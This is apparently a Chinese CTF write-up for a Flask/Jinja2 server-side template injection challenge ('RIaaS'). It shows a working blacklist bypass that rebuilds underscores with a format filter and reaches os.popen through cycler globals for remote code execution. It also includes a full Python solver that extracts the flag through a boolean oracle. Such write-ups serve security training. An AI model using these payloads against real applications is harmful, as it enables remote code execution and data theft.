RIaaS-wp

Zengan 2026-09-16 16:28:37 6 0 返回题目详情


# RIaaS


## Summary


Flask/Jinja2 SSTI 题。`username` 参数被拼进真实模板,但 `{{...}}` 表达式被正则整体剥离、`_` 字符被删除——两条最常见的 SSTI 路线全被堵死。突破口是:**`{%...%}` 语句没被剥离且真实执行**,配合 `{%set u='%c'|format(95)%}` 手工拼出下划线构造 dunder,用 `cycler.__init__.__globals__['os'].popen()` 拿 RCE;命令输出不回显,再用 `{%if b[pos]=='X'%}MARK{%endif%}` 逐字符布尔 oracle 把 `base64 /chall/flag` 的内容读出来。


**靶场**: http://49.232.142.230:19445 (授权 CTF 靶场)


## Solution


### Step 1: 侦察 → 找到注入点


- 首页注释里直说 "We have a blacklist to keep those sneaky hackers away!"。

- `/robots.txt` 给出隐藏路径(出题人提示之一):


```

User-agent: Stormtroopers

Disallow: /nottheflaglol

```


- `GET /nottheflaglol` 是个 login 风格表单,要求 POST 的 `username` 必须包含 `curl http://`,否则回显 `No curl in input`;包含则回显 `You really thought I am going to execute '<处理后的输入>'`。


关键判定(都是一步 curl 验证的):


```

POST username={{7*7}}+curl http:// → 回显字面 "7*7",不是 49 # {{...}} 被正则剥离

POST username=curl http://{%for i in range(3)%}a{%endfor%} → 回显 "aaa" # {%...%} 真实执行

POST username=abc__init__def → 回显 "abcinitdef" # 仅删 '_'

```


结论:注入发生在 Jinja2 模板渲染阶段,回显的是**注入片段的渲染结果**;表达式被剥、下划线被删、其余标点(`{ } ' " . ( ) [ ] | %` 等)与关键字(`cycler/globals/os/popen/base64...`)全部放行。


### Step 2: 绕过黑名单拿 RCE


用 `'%c'|format(95)` 生成 `_`,拼出 `__init__` / `__globals__`,走 `cycler` 全局对象到 `jinja2.utils` 模块命名空间里的 `os`:


```

curl http://{%set u='%c'|format(95)%}{%set i=u+u+'init'+u+u%}{%set g=u+u+'globals'+u+u%}{%set os=cycler[i][g]['os']%}{%if os.popen('ls /').read()|length>0%}31337{%endif%}

```


回显 `31337` → RCE 确认(`id`、`ls /` 均可执行)。`ls /` 看到 `/chall`;`ls /chall` 里有 `flag`(31 字节)。


小坑:`cat /chall/flag` 的直接输出读不出来(回显侧对路径/内容有截断),改用 `base64 /chall/flag` 再解码。


### Step 3: 布尔 oracle 逐字符读 flag → 解码


命令输出不会原样回显,但"条件为真时输出标记"可以:`{%if b[pos]=='X'%}31337{%endif%}`。对每个位置用 **二分 + `in` 判断**把候选字符集折半(base64 字母表 65 个字符,每字符约 7 次请求)。


完整解题脚本(从访问靶场到打印 flag):


```python

#!/usr/bin/env python3

# RIaaS solver: Jinja2 {%...%} statement injection + dunder rebuild + boolean oracle

import base64, string, requests


URL = "http://49.232.142.230:19445/nottheflaglol"

MARK = "31337" # 固定文案里不含数字,不会误报


# 公共前缀:必须含 'curl http://';{%...%} 才会被执行;'%'c'|format(95)' 造出下划线

PRE = ("curl http://"

"{%set u='%c'|format(95)%}"

"{%set i=u+u+'init'+u+u%}" # i = "__init__"

"{%set g=u+u+'globals'+u+u%}" # g = "__globals__"

"{%set os=cycler[i][g]['os']%}" # jinja2.utils 里的 os 模块

"{%set b=os.popen('base64 /chall/flag').read()%}") # cat 会截断,改用 base64


def probe(cond): # cond: Jinja2 布尔表达式文本

payload = PRE + "{%%if %s%%}%s{%%endif%%}" % (cond, MARK)

r = requests.post(URL, data={"username": payload})

return MARK in r.text


ALPHABET = string.ascii_letters + string.digits + "+/=\n"


# sanity check: RCE 真的成立

assert probe("os.popen('id').read()|length>0"), "RCE failed"


out, pos = "", 0

while True:

cand = ALPHABET # 每个位置对候选集二分: b[pos] in '...'

while len(cand) > 1:

half, cand2 = cand[:len(cand)//2], cand[len(cand)//2:]

cand = half if probe("b[%d] in %r" % (pos, half)) else cand2

ch = cand if probe("b[%d] in %r" % (pos, cand)) else None

if ch is None: # 该位置不在任何候选 → 读完了

break

out += ch

pos += 1


b64 = out.strip()

flag = base64.b64decode(b64).decode()

print("b64:", b64)

print("flag:", flag)

```


实际运行读出:


```text

b64: bjAwYnp7NTV0MV9zdXIzXzFzXzRfaDM0ZDRjaDMhfQ==

```


解码即得 flag。


## Flag


```

n00bz{55t1_sur3_1s_4_h34d4ch3!}

```

分类:WEB
image
作者:Zengan

8

提交

0

收入

相关WriteUP

问题反馈